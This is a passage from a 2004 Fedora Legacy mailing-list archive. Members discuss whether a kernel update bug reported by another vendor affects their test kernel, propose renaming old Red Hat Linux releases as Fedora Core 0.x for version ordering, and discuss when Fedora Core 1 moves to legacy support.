introduce that. Has anybody tested our kernel in updates-testing to see if ours has the same problem? -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: signature URL: From simon at nzservers.com Fri Aug 6 19:32:30 2004 From: simon at nzservers.com (Simon Weller) Date: Fri, 6 Aug 2004 14:32:30 -0500 Subject: Kernel update advisory text to approve... In-Reply-To: <200408061221.52043.jkeating@j2solutions.net> References: <1090020882.13707.10.camel@mdlinux> <6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net> <200408061221.52043.jkeating@j2solutions.net> Message-ID: <200408061432.30221.simon@nzservers.com> On Friday 06 August 2004 02:21 pm, Jesse Keating wrote: > On Friday 06 August 2004 11:00, Peter M. Abraham wrote: > > Greetings Jesse: > > > > From Progeny: > > > > "The most recent kernel security advisory > > (TSSA-2004:6552-01) contains a bug that may cause some customers > > machines appear to hang during the boot process while trying to load > > the loopback device or experience problems using netstat. While we > > have a very thorough QA process, especially for something as > > important as the kernel, sometimes a bug will slip through. We have > > been working with the customers who have this problem to replicate it > > on our own machines and hope to have a fix shortly." > > > > Thank you. > > Very interesting. I wonder what they did to introduce that. Has > anybody tested our kernel in updates-testing to see if ours has the > same problem? I have zero problems with netstat on the latest test kernel, and haven't seen any lockups on boot. It sounds like a pretty strange issue...maybe they've updated a dodgy network card driver somewhere along the line. - Si -- Simon Weller LPIC-2, BCIP Systems Engineer NZServers LTD http://www.nzservers.com/ U.S. Branch <- To mess up a Linux box, you need to work at it; to mess up your Windows box, you just need to work on it. - Scott Granneman, Security Focus -> From michal at harddata.com Fri Aug 6 20:23:24 2004 From: michal at harddata.com (Michal Jaegermann) Date: Fri, 6 Aug 2004 14:23:24 -0600 Subject: Kernel update advisory text to approve... In-Reply-To: <200408061221.52043.jkeating@j2solutions.net>; from jkeating@j2solutions.net on Fri, Aug 06, 2004 at 12:21:49PM -0700 References: <1090020882.13707.10.camel@mdlinux> <200408061021.52571.jkeating@j2solutions.net> <6.1.2.0.2.20040806135956.08193690@mail.dynamicnet.net> <200408061221.52043.jkeating@j2solutions.net> Message-ID: <20040806142324.A5997@mail.harddata.com> On Fri, Aug 06, 2004 at 12:21:49PM -0700, Jesse Keating wrote: > > Very interesting. I wonder what they did to introduce that. Nothing special. Note "some customers". Something likely triggered some problem on a dodgy hardware. You are not likely to discover anything of that sort in a quite narrow circle of people who bother to look at pre-release stuff. It may be also rather hard to figure out what that may be if you do not have an access to such configuration (likely an understatemnt of the year). > Has anybody tested our kernel in updates-testing to see if ours > has the same problem? Not as far as I can tell. I am also running right now kernels which on the top of that have patches for some further issues and they too work fine everywhere where I tried. In practice only releases will get a wider testing coverage and a cure for possible problems is not extending ab infinium a testing period, as this is not likely to show anything, but get in a matter of small days next releases if something needs to be corrected. Michal From b.j.smith at ieee.org Fri Aug 6 20:50:10 2004 From: b.j.smith at ieee.org (Bryan J. Smith) Date: Fri, 06 Aug 2004 16:50:10 -0400 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x Message-ID: <1091825410.1168.208.camel@patriux.localdomain> Axel Thimm wrote: > There was a suggestion (Nov 2003?) to "rename" RHL7.3 etc. to > FC0.7.3 etc. in order to get the disttag issues straightened out > (the natural disttag "rh9" is not rpm-less than "fc1"). I figured something as such, but didn't want to ass-u-me anything. I always wondered why they they just didn't call it Fedora Core 10, leaving a "hint" that it was related, without the trademark issues. So makes you wonder if it would have not been better after all with the disttag issues! > If I am not wrong fedora.us is using a similar scheme with stripped > away distids, i.e. they don't use fc0.7.3 but plain 0.7.3 in the > versioning. Yeah, I thought I saw something somewhere in the SRPMS (or am I talking out of my ass about something else?). > FWIW I would very much welcome a common versioning scheme for RHL > & FC that could look like > fc0.7.3 < fc0.8.0 < fc0.9 < fc1 < fc2 < fc2.90 etc > The confusion will be high, and unless all packaging parties use > the same semantics users will be lost. Yeah, that's that problem. How far do you go? Do you just use my suggestion, only changing the "legacy" "redhat- release" package? Or do we go so far to re-spin the whole, still legacy-supported 0.7.3 and 9 releases with lots of various trademark modifications, although we leave some of the 7.3/9 references for compatibility? At > The discussion in the past has shown very low to none interest > by RH, and N^2 disttag suggestions from N 3rd parties, so there > is low chance of anything happening. That's sad. I _am_ understanding of what Red Hat decided to do, and their "hands are tied" for trademark reasons which is why most of the confusion exists. But they _could_ have at least thought of these things _beforehand_. Oh well, I guess the best thing we can do is just use the nomenclature everywhere. When I reference _any_ release now, I list it as a "Fedora Core" release, typically with a "Lx.x" in front of it, and then an optional tag of either "[current]," "[legacy]" or "[retired]". E.g., Fedora Core L6.2 [retired] Fedora Core L7.2 [retired] Fedora Core L7.3 [legacy] Fedora Core L8 [retired] Fedora Core L9 [legacy] Fedora Core 1 [current] Fedora Core 2 [current] I then replace the "L" with "0." in any formal files/versions. -- Bryan P.S. Is Fedora Core 1 becoming "legacy" anytime soon? We're almost to 1 year now. -- Linux Enthusiasts call me anti-Linux. Windows Enthusisats call me anti-Microsoft. They both must be correct because I have over a decade of experience with both in mission critical environments, resulting in a bigotry dedicated to mitigating risk and focusing on technologies ... not products or vendors -------------------------------------------------- Bryan J. Smith, E.I. b.j.smith at ieee.org From jkeating at j2solutions.net Fri Aug 6 21:15:43 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Fri, 6 Aug 2004 14:15:43 -0700 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x In-Reply-To: <1091825410.1168.208.camel@patriux.localdomain> References: <1091825410.1168.208.camel@patriux.localdomain> Message-ID: <200408061415.46425.jkeating@j2solutions.net> On Friday 06 August 2004 13:50, Bryan J. Smith wrote: > P.S. Is Fedora Core 1 becoming "legacy" anytime soon? We're > almost to 1 year now. Sure, when RH stops pushing updates for it. Tentitive date is the release of FC3 Test 3. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: signature URL: From notting at redhat.com Fri Aug 6 21:23:03 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 6 Aug 2004 17:23:03 -0400 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x In-Reply-To: <200408061415.46425.jkeating@j2solutions.net> References: <1091825410.1168.208.camel@patriux.localdomain> <200408061415.46425.jkeating@j2solutions.net> Message-ID: <20040806212303.GA13423@nostromo.devel.redhat.com> > On Friday 06 August 2004 13:50, Bryan J. Smith wrote: > > P.S. Is Fedora Core 1 becoming "legacy" anytime soon? We're > > almost to 1 year now. > > Sure, when RH stops pushing updates for it. Tentitive date is the > release of FC3 Test 3. Test 2, actually. See http://fedora.redhat.com/ Bill From jkeating at j2solutions.net Fri Aug 6 21:30:28 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Fri, 6 Aug 2004 14:30:28 -0700 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x In-Reply-To: <20040806212303.GA13423@nostromo.devel.redhat.com> References: <1091825410.1168.208.camel@patriux.localdomain> <200408061415.46425.jkeating@j2solutions.net> <20040806212303.GA13423@nostromo.devel.redhat.com> Message-ID: <200408061430.28765.jkeating@j2solutions.net> On Friday 06 August 2004 14:23, Bill Nottingham wrote: > > Sure, when RH stops pushing updates for it. Tentitive date is the > > release of FC3 Test 3. > > Test 2, actually. See > > http://fedora.redhat.com/ Whoops. I stand (sit) corrected. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: signature URL: From kewley at caltech.edu Fri Aug 6 23:54:27 2004 From: kewley at caltech.edu (David Kewley) Date: Fri, 6 Aug 2004 16:54:27 -0700 Subject: Lurker Suggestion: Retro-name RHL to Fedora Core 0.x In-Reply-To: <200408061430.28765.jkeating@j2solutions.net> References: <1091825410.1168.208.camel@patriux.localdomain> <20040806212303.GA13423@nostromo.devel.redhat.com> <200408061430.28765.jkeating@j2solutions.net> Message-ID: <200408061654.27761.kewley@caltech.edu> Jesse Keating wrote on Friday 06 August 2004 14:30: > On Friday 06 August 2004 14:23, Bill Nottingham wrote: > > > Sure, when RH stops pushing updates for it. Tentitive date is > > > the release of FC3 Test 3. > > > > Test 2, actually. See > > > > http://fedora.redhat.com/ > > Whoops. I stand (sit) corrected. The full announcement is: "The Fedora Steering Committee proposes to transfer Fedora Core 1 to the Fedora Legacy Project at the point Fedora Core 3 Test 2 is released. This is currently scheduled for September 13, 2004. This represents a one month extension from the original timetable but an extension we hope will enable the Fedora Legacy Project to receive considerably better quality access to the codebase. For more information on the Fedora Legacy Project, or if you wish to join the team please see http://fedoralegacy.org/." ----- Now, I'm curious about a few things in this announcement.